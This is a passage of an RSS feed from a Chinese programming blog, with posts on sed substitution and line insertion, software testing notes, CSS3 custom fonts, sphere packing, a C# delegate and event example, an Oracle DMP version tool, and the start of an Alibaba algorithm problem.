&lt;p&gt;解析：s代表substitution，也就是替换，s之后是要替换/匹配的内容，斜线/用来分隔s以及要替换的原始内容还有要替换的最终内容，而&amp;rsquo;^&amp;lsquo;符号是说一个正则，用来匹配每一行的开头，匹配成功后在开头加上&amp;rsquo;Fruit:&amp;rsquo;。&lt;/p&gt;
&lt;p&gt;2.向每一行的行尾添加内容&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;s/$/ Fruit/&#39; sample1.txt 
apple Fruit 
orange Fruit 
banana Fruit 
pappaya Fruit&lt;/pre&gt;
&lt;p&gt;注意，这里的$和上一节的$符号表示的意义不同，这里则是表示行尾.&lt;/p&gt;
&lt;p&gt;3.如何替换指定的字符，这里将小写a替换成大写A&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;s/a/A/&#39; sample1.txt 
Apple 
orAnge 
bAnana 
pAppaya&lt;/pre&gt;
&lt;p&gt;注意，仅仅将每一行的第一个a替换了，不是所有，本例表示替换单个字符，你可以替换一个单词都是可以的.&lt;/p&gt;
&lt;p&gt;4.如何替换行内所有的字符，用A替换a&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;s/a/A/g&#39; sample1.txt 
Apple 
orAnge 
bAnAnA 
pAppAyA&lt;/pre&gt;
&lt;p&gt;注意，只是加了一个g选项，g为global的简写，就是全局，全部的意思。&lt;/p&gt;
&lt;p&gt;5.如何替换第二次出现的a?&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;s/a/A/2&#39; sample1.txt 
apple 
orange 
banAna 
pappAya&lt;/pre&gt;
&lt;p&gt;不使用g，而是使用数字来表示行内第几次出现的a，结果如上&lt;/p&gt;
&lt;p&gt;6.如何替换第二次之后的所有a呢？&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;s/a/A/2g&#39; sample1.txt 
apple 
orange 
banAnA 
pappAyA&lt;/pre&gt;
&lt;p&gt;很好理解对吧。&lt;/p&gt;
&lt;p&gt;7.如果只想替换第三行的a呢？&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;3s/a/A/g&#39; sample1.txt 
apple 
orange 
bAnAnA 
pappaya&lt;/pre&gt;
&lt;p&gt;回想一下第一节，在执行命令之前，会判断当前address是否满足条件，3就是地址&lt;/p&gt;
&lt;p&gt;8.想替换一个范围行内的数据呢&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;1,3s/a/A/g&#39; sample1.txt 
Apple 
orAnge 
bAnAnA 
pappaya&lt;/pre&gt;
&lt;p&gt;逗号隔开，即可&lt;/p&gt;
&lt;p&gt;9.如何替换整行呢？比如用apple is a Fruit替换apple&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;s/.*/&amp;amp; is a Fruit/&#39; sample1.txt 
apple is a Fruit 
orange is a Fruit 
banana is a Fruit 
pappaya is a Fruit&lt;/pre&gt;
&lt;p&gt;这里‘&amp;amp;’符号标识了模式匹配到的内容，而.*匹配了正行，.表示任意字符，*表示一个或多个，也就是匹配了整行,&amp;amp;因此就是整行内容，用来重命名一组文件的时候非常有用.&lt;/p&gt;
&lt;p&gt;10.如何进行多个替换，比如用A替换a，用P替换p&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;s/a/A/g; s/p/P/g&#39; sample1.txt 
APPle 
orAnge 
bAnAnA 
PAPPAyA&lt;/pre&gt;
&lt;p&gt;也就是用分号分开即可。或者也可以通过-e参数来做&lt;/p&gt;
&lt;pre&gt;$ sed -e &#39;s/a/A/g&#39; -e &#39;s/p/P/g&#39; sample1.txt 
APPle 
orAnge 
bAnAnA 
PAPPAyA&lt;/pre&gt;
&lt;p&gt;-e 选项就是当需要替换多个的时候来用的。&lt;/p&gt;</description>
    </item>
    <item>
      <title>[译]Unix sed实用教程第一篇--向文件中增加一行</title>
      <link>http://blog.leaver.me/2013/08/09/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E4%B8%80%E7%AF%87--%E5%90%91%E6%96%87%E4%BB%B6%E4%B8%AD%E5%A2%9E%E5%8A%A0%E4%B8%80%E8%A1%8C/</link>
      <pubDate>Fri, 09 Aug 2013 14:56:29 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/08/09/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E4%B8%80%E7%AF%87--%E5%90%91%E6%96%87%E4%BB%B6%E4%B8%AD%E5%A2%9E%E5%8A%A0%E4%B8%80%E8%A1%8C/</guid>
      <description>&lt;p&gt;Unix sed实用教程第一讲，本系列第一篇，有任何问题欢迎留言讨论。&lt;/p&gt;
&lt;p&gt;sed 是unix中最重要的编辑器之一，注意，有之一..支持多种编辑任务，本文将实现题目的功能实例&lt;/p&gt;
&lt;p&gt;假定我们有一额文本文件，叫做empFile，包含了员工名字和员工id，如下：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Hilesh, 1001
Bharti, 1002
Aparna, 1003
Harshal, 1004
Keyur, 1005&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;1.如何通过sed给文件添加标题行-“Employee, EmpId”&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed  &#39;1i Employee, EmpId&#39;  empFile
Employee, EmpId
Hilesh, 1001
Bharti, 1002
Aparna, 1003
Harshal, 1004
Keyur, 1005&lt;/pre&gt;
&lt;p&gt;解释：数字1，是说只对第一行执行操作，i代表在insert（熟悉vim的同学应该知道，i会在当前字符的前面插入，a是在后面插入），因此，1i就表示在将Employee, EmpId插入到第一行之前，&lt;/p&gt;
&lt;p&gt;然后，有了标题行的文件仅仅会输出到标准输出，源文件内容并不会改变，如果需要更新源文件，可以使用重定向输出到一个临时文件，然后移动到原始文件。如果Unix系统的sed是GUN版本的，sed会有一个-i选项，可以直接实现更新源文件，（如何查看版本，终端下输入sed &amp;ndash;version即可看到）下面先执行，再查看文件，发现已经多了标题行了&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed -i &#39;1i Employee, EmpId&#39; empFile
$ cat empFile
Employee, EmpId
Hilesh, 1001
Bharti, 1002
Aparna, 1003
Harshal, 1004
Keyur, 1005&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;2.如何在标题行之后，也就是原始第一行之前添加一行横线&amp;ndash;“&amp;mdash;&amp;ndash;”&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed -i &#39;1a ---------------&#39;  empFile
$ cat empFile
Employee, EmpId
---------------
Hilesh, 1001
Bharti, 1002
Aparna, 1003
Harshal, 1004
Keyur, 1005&lt;/pre&gt;
&lt;p&gt;同1，中，1表示第一行，a表示append（附加），也就是说当读入第一行的时候在其之后添加一行，如果你使用2i作为命令也是正确的，就是指当读入第二行的时候，在其之前插入一行。&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;3.如何在文件尾部添加一行&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed -i &#39;$a ---------------&#39; empFile
$ cat empFile
Employee, EmpId
---------------
Hilesh, 1001
Bharti, 1002
Aparna, 1003
Harshal, 1004
Keyur, 1005
---------------&lt;/pre&gt;
&lt;p&gt;为了在文件尾部插入一行，如果使用之前的方法就需要知道总共有多少行，而$符号则直接指明了最后一行，因此$a表示在读入最后一行的时候，在后面插入一行&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;4.如何在指定的记录之后插入一条新纪录&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;假定我们的例子文件的内容现在是：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Employee, EmpId
---------------
Hilesh, 1001
Harshal, 1004
Keyur, 1005
---------------&lt;/pre&gt;
&lt;p&gt;如果我想在Hilesh这个员工之后插入Bharti员工的信息，我这样做：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed -i &#39;/Hilesh/a Bharti, 1002&#39; empFile
$ cat empFile
Employee, EmpId
---------------
Hilesh, 1001
Bharti, 1002
Harshal, 1004
Keyur, 1005
---------------&lt;/pre&gt;
&lt;p&gt;注意看，我们这里已经不再使用数字或者其他表示行号的标识了，我们使用了一个模式（了解过&lt;a href=&#34;http://zh.wikipedia.org/zh/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F&#34;&gt;正则表达式&lt;/a&gt;的朋友会比较熟悉，可以理解为某种规则- /Hilesh/a 这个命令表示对于每一行读入的内容，如果发现 /Hilesh/这个匹配，在该行之后插入一行，也就是说如果文件里有两行都是Hilesh员工，那么执行完上面的命令，将会附加两行内容，这里可以想想&lt;a href=&#34;http://leaver.me/archives/3162.html&#34;&gt;sed的工作模式&lt;/a&gt;，对每一行执行命令条件检测，发现匹配，就执行。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Unix sed实用教程开篇</title>
      <link>http://blog.leaver.me/2013/08/09/unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E5%BC%80%E7%AF%87/</link>
      <pubDate>Fri, 09 Aug 2013 09:43:52 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/08/09/unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E5%BC%80%E7%AF%87/</guid>
      <description>&lt;p&gt;已经看了一段时间的Linux Shell编程了,也能完成一些基本的使用，为了加深理解，恰好看到了The Unix School的一个sed&amp;amp;awk教程，不是简单的命令参数堆积，而是一个相当实用的系列，因此，希望能在几天内完成翻译.翻译过程不会逐字翻译，会穿插一些注释，包括自己的一些理解和其他的一些引用，作为开篇，简单说一下sed的工作机制，对后面的理解会有很大帮助。&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;sed是什么：&lt;/span&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;sed是一个非交互式的流编辑器（stream editor）。所谓非交互式，是指使用sed只能在命令行下输入编辑命令来编辑文本，然后在屏幕上查看输出；而所谓流编辑器，是指sed每次只从文件（或输入）读入一行，然后对该行进行指定的处理，并将结果输出到屏幕（除非取消了屏幕输出又没有显式地使用打印命令），接着读入下一行。整个文件像流水一样被逐行处理然后逐行输出。(via &lt;a href=&#34;http://www.sealinger.com/archives/297/&#34;&gt;Walk in Mindfields&lt;/a&gt;  )
&lt;span style=&#34;color: #3366ff;&#34;&gt;sed工作机制：&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;sed维护两个缓冲区，pattern space和hold space，命令开始执行之前都为空。&lt;/p&gt;
&lt;p&gt;pattern space缓冲区用于临时保存每次读取的一行的内容，大部分的匹配和替换等等操作都是针对pattern space中的内容进行的，因此不会对输入文件有任何影响,而hold space则作为后备缓冲区使用,&lt;strong&gt;除非指定了一些特殊的命令(例如D删除命令)，否则pattern space中的内容会在处理完一行之后清空，但hold space中的内容在处理完每一行时不会被删除。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;也就是说pattern space相当于我们的内存，hold space相当于硬盘.处理的时候在内存里，处理过的就放回硬盘.&lt;/strong&gt;(这是我的理解，有一点点不恰当，但是因此一些概念会比较好理解.)&lt;/p&gt;
&lt;p&gt;具体来说，可以大致分为以下几步：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1.首先，从标准输入流读取一行，移除换行符，然后存入pattern space中&lt;/p&gt;
&lt;p&gt;2.执行指定的命令,(每个命令都有一个可选的地址(可以是行号，也可能是一个正则表达式匹配)，这个地址作为一个执行命令前的测试，指定了需要对那些行进行操作。当前行只有匹配的情况下才会执行命令。）&lt;/p&gt;
&lt;p&gt;3.当指定所有的命令都执行完了之后，pattern space内容就被处理过了，sed默认会将pattern space中的内容打印到标准输出中，移除的换行符也会打印出来。本行操作完成。&lt;/p&gt;
&lt;p&gt;4.然后sed会读取下一行的内容，再次执行相同的操作。直到行尾。
 &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;基本上最基础的理论就差不多了.主要是这个工作机制比较重要.后面从示例中慢慢加深理解.&lt;/p&gt;</description>
    </item>
    <item>
      <title>《软件测试》一点笔记</title>
      <link>http://blog.leaver.me/2013/07/26/%E8%BD%AF%E4%BB%B6%E6%B5%8B%E8%AF%95%E4%B8%80%E7%82%B9%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Fri, 26 Jul 2013 08:24:54 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/07/26/%E8%BD%AF%E4%BB%B6%E6%B5%8B%E8%AF%95%E4%B8%80%E7%82%B9%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;p&gt;这两天在读《软件测试》，书不厚，也就300页，有些观念还是挺诧异的，比如软件功能超出产品说明书也算作软件缺陷&amp;hellip;想想也能明白，只是猛然看到还是很惊异..简单记录一下读书过程中一些重要的笔记.留作备份.&lt;/p&gt;
&lt;p&gt;软件缺陷：&lt;/p&gt;
&lt;div&gt;1.软件为达到产品说明书表明的功能&lt;/div&gt;
&lt;div&gt;2.软件出现了产品说明书指明不会出现的错误.&lt;/div&gt;
&lt;div&gt;3.软件功能超出产品说明书指明范围&lt;/div&gt;
&lt;div&gt;4.软件未达到产品说明书虽未指出但应达到的目标&lt;/div&gt;
&lt;div&gt;5.软件测试员认为软件难以理解，不易使用，运行速度缓慢，或者最终用户认为不好.&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;为什么会出现软件缺陷&lt;/div&gt;
&lt;div&gt;最大的原因是产品说明书.而并非编程错误，第二大来源是设计方案&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;软件测试员的目标是发现软件缺陷，进可能早一些，确保其得到修复&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;完全测试程序是不可能的&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;不要总是报告坏消息，如果软件没有错误，就夸他们，和他们聊天&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;可靠性只是质量的一个方面，可能还包括功能齐全，技术制裁，包括色彩等&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;在设计和执行测试案例时，首先进行通过测试，在破坏性试验之前看看软件基本功能是否实现是很重要的，否则在正常使用软件时就会奇怪为什么有这么多软件缺陷&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;软件测试员必须测试程序的状态及其转换&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;动态白盒测试的目标是寻找软件缺陷，调试则是为了修复他们&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;静态黑盒子（审查设计说明书），动态黑盒子，静态白盒子，动态白盒子&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;进行白盒测试前，一定要根据说明书建立黑盒测试案例&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;语句覆盖是程序的所有语句执行，分支覆盖则是所有分支都被执行，条件覆盖则要保证IF语句的每一种可能性都被覆盖&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;优秀UI的七个要素：&lt;/div&gt;
&lt;div&gt;1.符合标准和规范，2.灵活性，3.正确性。4.直观性。5.舒适性，6.实用性。7.一致性&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;测试存根用于自顶向下的测试，清查到低级模块或者把自己替换为低级模块，主要测试高级模块，外表和行为就像是低级模块&lt;/div&gt;</description>
    </item>
    <item>
      <title>使用CSS3的自定义字体美化文字</title>
      <link>http://blog.leaver.me/2013/07/17/%E4%BD%BF%E7%94%A8css3%E7%9A%84%E8%87%AA%E5%AE%9A%E4%B9%89%E5%AD%97%E4%BD%93%E7%BE%8E%E5%8C%96%E6%96%87%E5%AD%97/</link>
      <pubDate>Wed, 17 Jul 2013 14:45:45 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/07/17/%E4%BD%BF%E7%94%A8css3%E7%9A%84%E8%87%AA%E5%AE%9A%E4%B9%89%E5%AD%97%E4%BD%93%E7%BE%8E%E5%8C%96%E6%96%87%E5%AD%97/</guid>
      <description>&lt;p&gt;之前看到一些设计师的主题的字体很美，下载下来发现使用了css3的自定义字体，可以用来显示服务器上的字体，非常方便，学习了一下&lt;/p&gt;
&lt;p&gt;1.首先得到字体&lt;/p&gt;
&lt;p&gt;这个方法很多，本机的字体，一些国外的免费网站，比如这个：&lt;a href=&#34;http://www.dafont.com/&#34;&gt;http://www.dafont.com&lt;/a&gt;，下载后的字体一般为ttf格式，ttf字体被很多浏览器支持，但是，IE不支持，为了兼容性，需要为IE单独设置字体文件，格式必须为eot，所以我们需要转换字体，使用在线工具，比如&lt;a href=&#34;http://www.kirsle.net/wizards/ttf2eot.cgi&#34;&gt;http://www.kirsle.net/wizards/ttf2eot.cgi&lt;/a&gt;，当然类似的网站有很多，根据个人爱好，随意。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;2.添加内容&lt;/p&gt;
&lt;p&gt;这里，我写一个简单的html文件，内容为&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;body&amp;gt;
&amp;lt;p class=&#34;test&#34;&amp;gt;bystander&amp;lt;/p&amp;gt;
&amp;lt;/body&amp;gt;&lt;/pre&gt;
&lt;p&gt;在没有设置customFont这个类的css之前，字体就是默认的字体了。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;3.设置css样式&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;@font-face
{
font-family:myFont;/*主流浏览器可用*/
src:url(&#34;PONCTUATION.ttf&#34;);
}
@font-face
{
font-family:myFont;/*兼容IE*/
src:url(&#34;PONCTUATION.eot&#34;);
}
.test
{
font-family:myFont;
font-size:40px;
}&lt;/pre&gt;
&lt;p&gt;显示效果就是这样的了&amp;hellip;只是用来演示的一个字体。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/38421_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/0aa0db5ed4bc986d61cfbb9e1e421a2226c94f9b.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;因为浏览器是要自动下载这个字体文件的，所以对于英文字体没啥问题，英文字体一般这个字体文件在100k左右，和一张图片比起来，基本算不是问题，但是对于中文字体，包一般在10M-20M左右，这样是不现实的，我的想法是，可以自己制作字体包，这样只需要满足常用的一些汉字就行了，大大减少包的大小，然后去找了一下，发现了&lt;a href=&#34;http://www.high-logic.com/font-editor/fontcreator.html&#34;&gt;http://www.high-logic.com/font-editor/fontcreator.html&lt;/a&gt;这个软件，是可以直接编辑字体包的，也可以创建字体包，有空了用来试试.&lt;/p&gt;</description>
    </item>
    <item>
      <title>等物体填充问题</title>
      <link>http://blog.leaver.me/2013/06/29/%E7%AD%89%E7%89%A9%E4%BD%93%E5%A1%AB%E5%85%85%E9%97%AE%E9%A2%98/</link>
      <pubDate>Sat, 29 Jun 2013 18:14:08 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/06/29/%E7%AD%89%E7%89%A9%E4%BD%93%E5%A1%AB%E5%85%85%E9%97%AE%E9%A2%98/</guid>
      <description>&lt;p&gt;那天在群里，rich大牛提了一个问题，一个直径为10cm的球内最多能够填充直径为1cm的球多少个.&lt;/p&gt;
&lt;p&gt;之前看到过一个类似的简单说明，就像是在一个盒子里装乒乓球，如果装满了，想继续装，如何办？经验告诉我们，摇一摇盒子。。这个问题看上去简单，其实是个NP难问题&amp;hellip;于是，查找了一些资料，比较有意思，分享一下。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;首先是stetson大学efriedma教授的网页，收集了各类填充（英文是packing）问题的图示，欢迎移步：&lt;a href=&#34;http://www2.stetson.edu/~efriedma/packing.html&#34;&gt;packing center&lt;/a&gt; ，不过这里面恰好没有球体填充（SpherePacking）的问题，然后继续查找，进入了一个可以演示球体填充问题的页面：&lt;a href=&#34;http://www.randomwalk.de/sphere/insphr/ylspheresinsphr.html&#34;&gt;sphere packing demo&lt;/a&gt; 感谢网站作者&lt;a href=&#34;http://www.pfoertner.org/&#34;&gt;Hugo Pfoertner&lt;/a&gt;，这里作者解出了1-72个球的问题，但是，作者说对于n&amp;gt;10的情况无法证明最优化.不过这个页面的演示太帅了，推荐看看。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/37791_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b6b2a692820197a3aab3f59f8e9b8e6821acf744.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;可以鼠标拖动旋转3D视角。&lt;/p&gt;
&lt;p&gt;然后在数学世界看到了一球体填充问题的证明结果，见：&lt;a href=&#34;http://mathworld.wolfram.com/SpherePacking.html&#34;&gt;SpherePacking&lt;/a&gt;，当然，下面一大堆引用我都没看..看文章里的意思是说这个填充问题填充率已经被证明最大是77.9%，但是这个上限可能还能提高，因为貌似根据这个情况，rich大牛提出的这个问题应该数量在779左右..&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>委托和事件示例</title>
      <link>http://blog.leaver.me/2013/06/25/%E5%A7%94%E6%89%98%E5%92%8C%E4%BA%8B%E4%BB%B6%E7%A4%BA%E4%BE%8B/</link>
      <pubDate>Tue, 25 Jun 2013 08:48:20 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/06/25/%E5%A7%94%E6%89%98%E5%92%8C%E4%BA%8B%E4%BB%B6%E7%A4%BA%E4%BE%8B/</guid>
      <description>&lt;p&gt;C#中委托和事件的例子比较多，讲得好的非常好，就不瞎凑热闹了，推荐博客园大牛的一篇：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.tracefact.net/csharp-programming/delegates-and-events-in-csharp.aspx&#34;&gt;C# 中的委托和事件&lt;/a&gt; ，如果你已经有了相应的基础，但没写过相关的例子，那我这里提供一个，首先看一下规范&lt;/p&gt;
&lt;p&gt;.Net Framework的编码规范：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;委托类型的名称都应该以EventHandler结束。&lt;/li&gt;
&lt;li&gt;委托的原型定义：有一个void返回值，并接受两个输入参数：一个Object 类型，一个 EventArgs类型(或继承自EventArgs)。&lt;/li&gt;
&lt;li&gt;事件的命名为 委托去掉 EventHandler之后剩余的部分。&lt;/li&gt;
&lt;li&gt;继承自EventArgs的类型应该以EventArgs结尾。
然后描述一下流程：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;老板监视时间变动（ComputerOffWorkTime方法），当工作时间满50后，通知员工时间到（OnNotifyOffWork方法，并传递OffWorkEventArgs参数），可以下班了，（OnNotifyOffWork方法内部调用事件NotifyOffWork），正式员工收到通知后，则下班，其他员工则清扫一下办公室&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;然后给出例子：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;

namespace DelegateAndEvent
{

    public class Boss
    {
        //表示工作时间
        private int virTime;
        //下班时老板说的话
        public String SaidWords
        {
            get { return &#34;Boss:时间到，下班了&#34;; }
        }
        //委托定义
        public delegate void NotifyOffWorkEventHandler(Object sender, OffWorkEventArgs e);

        //事件
        public event NotifyOffWorkEventHandler NotifyOffWork;
        //事件参数
        public class OffWorkEventArgs:EventArgs
        {
            public readonly int virTime;
            public OffWorkEventArgs(int virTime)
            {
                this.virTime = virTime;
            }
        }
        //触发事件
      protected void OnNotifyOffWork(OffWorkEventArgs e)
        {
            if (NotifyOffWork!=null)
            {
                NotifyOffWork(this, e);
            }
        }

        //执行操作
        public void ComputerOffWorkTime()
        {
            for (int i = 1; i &amp;lt;= 50; i++)
            {
                virTime = i;
                if (i&amp;gt;=50)
                {
                    OffWorkEventArgs e = new OffWorkEventArgs(i);
                    OnNotifyOffWork(e);
                }
            }
        }
    }
    //正式员工
    public class FormalEmployee
    {
        public static void GoHome(Object sender, Boss.OffWorkEventArgs e)
        {
            Boss boss = (Boss) sender;
            Console.WriteLine(boss.SaidWords);
            Console.WriteLine(e.virTime);
            Console.WriteLine(&#34;FormalEmployee:准备回家&#34;);

        }
    }
    //其他员工
    public class OtherEmployee
    {
        public static void CleanOffice(Object sender, Boss.OffWorkEventArgs e)
        {
            Boss boss = (Boss)sender;
            Console.WriteLine(boss.SaidWords);
            Console.WriteLine(e.virTime);
            Console.WriteLine(&#34;OtherEmployee:准备清扫办公室&#34;);
        }
    }
    public class Program
    {

        static void Main(string[] args)
        {
           Boss boss=new Boss();
            //注册事件
            boss.NotifyOffWork += FormalEmployee.GoHome;
            boss.NotifyOffWork += OtherEmployee.CleanOffice;
            //老板开始计时
            boss.ComputerOffWorkTime();
        }
    }

}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>DMP版本修改工具(C#)</title>
      <link>http://blog.leaver.me/2013/06/11/dmp%E7%89%88%E6%9C%AC%E4%BF%AE%E6%94%B9%E5%B7%A5%E5%85%B7c/</link>
      <pubDate>Tue, 11 Jun 2013 16:05:18 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/06/11/dmp%E7%89%88%E6%9C%AC%E4%BF%AE%E6%94%B9%E5%B7%A5%E5%85%B7c/</guid>
      <description>&lt;p&gt;最近在使用oracle导入一个dmp文件的时候，由于不知道dmp文件是如何导出的，是使用exp还是expdp导出的，所以纠结了比较长的时间，最后想到是否可以查看dmp文件的一些辅助信息呢，于是有了这个工具。&lt;/p&gt;
&lt;p&gt;在使用dmp导入的时候报如下错误&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;IMP-00010: 不是有效的导出文件，标题验证失败
IMP-00000: 未成功终止导入&lt;/pre&gt;
&lt;p&gt;据说有两个可能，1个是文件本身损坏，另一个是版本问题，多出现在高版本导出的数据向低版本导入。解决方法就是修改一下dmp文件就行了。dmp文件头部大概9个字节处标识了版本号用来头部验证。对于非常大的dmp我们不能直接用文本编辑器打开，因此找找资料，写个工具。本机一个12GB的文件已测试。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/37341_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/71a2a354a4dd2867eb60f08548a9da16870e4949.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;工具使用很简单，选择文件，识别出来版本，按格式改成导入端oracle的版本值，然后即可正常导入11G-10G测试成功。&lt;/p&gt;
&lt;p&gt;下载地址：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=2717736101&amp;amp;uk=1493685990&#34;&gt;DMP版本修改工具&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>阿里巴巴5月5日综合算法题详解</title>
      <link>http://blog.leaver.me/2013/06/02/%E9%98%BF%E9%87%8C%E5%B7%B4%E5%B7%B45%E6%9C%885%E6%97%A5%E7%BB%BC%E5%90%88%E7%AE%97%E6%B3%95%E9%A2%98%E8%AF%A6%E8%A7%A3/</link>
      <pubDate>Sun, 02 Jun 2013 15:44:22 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/06/02/%E9%98%BF%E9%87%8C%E5%B7%B4%E5%B7%B45%E6%9C%885%E6%97%A5%E7%BB%BC%E5%90%88%E7%AE%97%E6%B3%95%E9%A2%98%E8%AF%A6%E8%A7%A3/</guid>
      <description>&lt;p&gt;之前参加了阿里的笔试和电面，让后天那个敏感的日子去参加现场面，就去看了一下那天笔试的最后一道综合题，看着网上清一色最后一道题不知道从哪转的答案，不忍直视，一看代码就是错的，最直接的就是求中位数连奇偶性都不判断，直接处以2..这，另外当在无法整除的情况下，数据结果错误。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;这道题的大意是：有一个淘宝商户，在某城市有n个仓库，每个仓库的储货量不同，现在要通过货物运输，将每次仓库的储货量变成一致的，n个仓库之间的运输线路围城一个圈，即1-&amp;gt;2-&amp;gt;3-&amp;gt;4-&amp;gt;&amp;hellip;-&amp;gt;n-&amp;gt;1-&amp;gt;&amp;hellip;，货物只能通过连接的仓库运输，设计最小的运送成本（运货量*路程）达到淘宝商户的要求，并写出代码。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解题思路：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;假设n个仓库的初始储货量分别为warehouse[1],warehouse[2],&amp;hellip;,warehouse[n]
计算平均储货量&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt; average = （warehouse[1]+warehouse[2]+...+warehouse[n])/n&lt;/pre&gt;
&lt;p&gt;就算出来了最终的结果中，每个仓库应该有的存量
首先，从仓库1向仓库n运送k；
